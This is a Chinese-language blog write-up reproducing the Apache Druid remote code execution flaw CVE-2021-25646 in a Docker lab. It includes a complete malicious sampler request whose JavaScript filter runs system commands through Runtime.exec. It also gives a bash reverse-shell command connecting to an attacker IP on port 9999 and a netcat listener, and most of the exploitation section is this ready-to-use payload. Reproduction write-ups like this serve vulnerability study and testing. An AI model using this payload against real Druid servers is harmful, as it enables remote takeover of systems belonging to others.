###Apache Druid 命令执行漏洞(CVE-2021-25646)复现–Komorebi
Druid 简介
Druid 是一个分布式的、支持实时多维 OLAP 分析的数据处理系统。它既支持高速的数据实时摄入处理,也支持实时且灵活的多维数据分析查询。因此 Druid 最常用的场景就是大数据背景下、灵活快速的多维 OLAP 分析。 另外,Druid 还有一个关键的特点:它支持根据时间戳对数据进行预聚合摄入和聚合分析,因此也有用户经常在有时序数据处理分析的场景中用到它。
漏洞描述
Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
影响版本
Apache Druid < 0.20.1
复现环境
- 启动docker,拉取镜像
_docker pull fokkodriesprong/docker-druid_
_ _
- 启动漏洞环境(换了台机器,Ubuntu启动docker后总是卡死~)
_docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid_
浏览器访问以下IP加888端口看到如下界面即代表环境搭建成功
漏洞复现
- 浏览器打开访问链接后依次点击Apache Druid→Load data → Local disk
- 在右侧Base directory中填入:
_quickstart/tutorial/_
File filter中填入:
_wikiticker-2015-09-12-sampled.json.gz_
填入完成点击Preview,然后点击next并开启burp抓包
重复点击next,直到出现 /druid/indexer/v1/sampler?for=filter
将POST正文替换为如下代码并替换dns地址
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('ping lo4ayg.dnslog.cn -c 1')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
将数据包中的dnslog地址替换为如下命令(kali机ip地址为192.168.92.153):
_exec('/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/192.168.92.153/9999 0>&1')_
并在kali中设置监听:
_nc -lvp 9999_
参考链接
Apache Druid 命令执行漏洞复现(CVE-2021-25646) – FreeBuf网络安全行业门户
https://www.freebuf.com/vuls/267027.html
请登录后查看回复内容